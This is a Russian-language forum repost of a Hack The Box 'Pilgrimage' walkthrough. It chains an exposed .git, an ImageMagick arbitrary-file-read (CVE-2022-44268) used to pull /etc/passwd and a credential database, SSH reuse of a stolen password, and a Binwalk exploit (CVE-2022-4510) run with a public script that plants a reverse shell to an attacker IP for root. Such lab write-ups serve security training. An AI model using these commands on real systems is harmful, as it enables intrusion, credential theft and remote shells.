• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Повышаем привилегии через уязвимость в Binwalk

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как воспользоваться утилитой для работы с бинарными файлами Binwalk, чтобы получить контроль над Linux. Но сначала попентестим веб‑сервер и проникнем на него благодаря неаккуратному использованию разработчиком утилиты ImageMagick.
Разбирать в этот раз будем тренировочную машину Pilgrimage с площадки Hack The Box. Уровень ее сложности — «легкий».

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.219 pilgrimage.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
  • 22 — служба OpenSSH 8.4p1;
  • 80 — веб‑сервер Nginx 1.18.0.
Также Nmap показал доступный каталог .git в корне сайта.

Главная страница сайта

Точка входа​

Используем утилиту git-dumper, чтобы скачать весь репозиторий.

git-dumper Для просмотра ссылки Войди или Зарегистрируйся pilgrimage_git
Логи git-dumper

Для работы с git-репозиториями я использую функцию «Система управления версиями» в VS Code. В этом репозитории нашелся всего один коммит — начальный.

История коммитов

Переходим к анализу исходного кода сайта. Для регистрации и авторизации, как мы узнали из файлов register.php и login.php, используется база данных SQLite.

Содержимое файла register.php Содержимое файла login.php

Регистрируемся на сайте, который предлагает нам загрузить изображение, чтобы уменьшить его. Версии «до» и «после», вероятно, будут показаны в таблице ниже.

Главная страница пользователя

Давай заглянем в исходный код файла index.php. Здесь обрабатывается POST-запрос, содержащий изображение. Переданное изображение сохраняется на сервере и с помощью утилиты ImageMagick уменьшается вдвое. После обработки пользователю предлагают загрузить новое изображение.

Содержимое файла index.php

Сам модуль ImageMagick тоже присутствует в каталоге сайта. Нам нужно узнать его версию, а затем поискать публично доступные эксплоиты. Мы можем манипулировать входными данными, а это типичный источник угроз.

./magic -version
Версия программы ImageMagick

У нас версия ImageMagick 7.1.0-49, ищем в Google готовый эксплоит.

Поиск эксплоита в Google

Точка опоры​

Приложение ImageMagick 7.1.0-49 имеет уязвимость CVE-2022-44268 — чтение произвольного файла. Это даст нам возможность получать содержимое определенных файлов с удаленной системы. Причина уязвимости заключается в том, что при изменении размера изображения ImageMagick будет включать содержимое профиля в создаваемое изображение, при этом мы можем манипулировать значением этого профиля. Можем, например, к картинке добавить чанк текстового типа (например, tEXt), содержащий ключ и строку‑значение. Если ключ — строка profile, то ImageMagick интерпретирует значение как имя файла в системе и загружает его содержимое как необработанный профиль, после чего из нового изображения можно прочитать этот профиль в HEX-формате.

Для автоматического изменения PNG используем Для просмотра ссылки Войди или Зарегистрируйся. Для пробы прочитаем файл /etc/passwd.

cargo run "/etc/passwd"
Создание изображения‑нагрузки
Теперь загружаем в веб‑сервис созданное изображение‑нагрузку, после чего получаем ссылку на новое изображение, с измененным размером.

Результат обработки изображения
Скачиваем полученный файл и находим в нем чанк с профилем.

Код:
wget http://pilgrimage.htb/shrunk/64a7e8f368191.png
identify -verbose 64a7e8f368191.png
Профиль в преобразованном приложении
Используем Для просмотра ссылки Войди или Зарегистрируйся для декодирования шестнадцатеричного значения и получаем содержимое файла /etc/passwd, раскрывающее нам список пользователей.

Декодированный файл /etc/passwd
Уязвимость подтвердили, а значит, можем скачать и другие интересные файлы. Например, файл базы данных SQLite /var/db/pilgrimage, о котором мы узнали из исходного кода. Здесь наверняка найдутся учетные данные пользователей сайта.

Профиль нового изображения Декодированный файл /var/db/pilgrimage
Это «сырые» данные, в которых можно заблудиться, поэтому активируем еще одну функцию CyberChef, чтобы отобразить только строки.

Строки из файла /var/db/pilgrimage
Таким образом получаем учетные данных трех пользователей. Нас интересует emily, поскольку такой пользователь есть и в системе тоже. Пробуем подключиться к SSH с этим же паролем и забираем флаг пользователя.

Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Чтобы не тратить время на поиски и догадки, я в таких случаях использую скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.

В дереве процессов видим скрипт /usr/sbin/malwarescan.sh, запускающий приложение inotifywait.

Дерево процессов
В списке файлов, измененных за последние пять минут, видим /var/www/pilgrimage.htb/shrunk/malicious.pfs. Этот же каталог передавался inotifywait.

Последние измененные файлы

К тому же у нас есть право записи в каталог /var/www/pilgrimage.htb/shrunk/ и файлы в нем.

Файлы, доступные для записи

Дальше я обычно использую утилиту Для просмотра ссылки Войди или Зарегистрируйся, которая выводит информацию о запущенных процессах. Так обнаружился периодический запуск скрипта /usr/sbin/malwarescan.sh от имени пользователя root.

Логи pspy64
Давай глянем, что это за скрипт.

Содержимое файла malwarescan.sh

Здесь происходит вызов программы Binwalk, которой поочередно передаются файлы из каталога /var/www/pilgrimage.htb/shrunk/. Проверим версию используемой программы и поищем эксплоиты для нее.

Версия программы Binwalk Поиск эксплоита для Binwalk
По первой ссылке представлен Для просмотра ссылки Войди или Зарегистрируйся для уязвимости CVE-2022-4510.

Справка по эксплоиту

Эта версия Binwalk допускает обход каталога через функцию extractor в модуле plugins/unpfs.py. Когда Binwalk запускается с параметром -e, атакующий может извлечь файлы, находящиеся в любом каталоге файловой системы. Найденный эксплоит создает файл, который при обработке извлекает нагрузку в каталог .config/binwalk/plugins. Нагрузка — это реверс‑шелл, что дает нам возможность удаленного выполнения кода. Создаем такой файл и помещаем в каталог /var/www/pilgrimage.htb/shrunk/.

python3 51249.py exp.png 10.10.14.46 4321
Создание файла с нагрузкой Содержимое каталога /var/www/pilgrimage.htb/shrunk/
Запускаем листенер (pwncat-cs -lp 4321) и получаем бэкконнект от имени рута.

Флаг рута

Машина захвачена!
 
Activity
So far there's no one here